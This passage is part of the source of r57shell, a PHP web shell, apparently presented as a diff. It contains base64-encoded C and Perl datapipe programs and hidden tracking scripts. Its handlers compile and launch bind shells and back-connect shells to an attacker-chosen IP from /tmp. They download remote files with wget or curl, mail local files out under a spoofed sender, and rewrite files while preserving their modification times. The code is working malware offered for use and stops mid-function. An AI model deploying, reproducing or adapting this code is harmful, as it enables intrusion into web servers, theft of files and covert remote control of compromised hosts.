+LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +$f = '<br>'; +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + 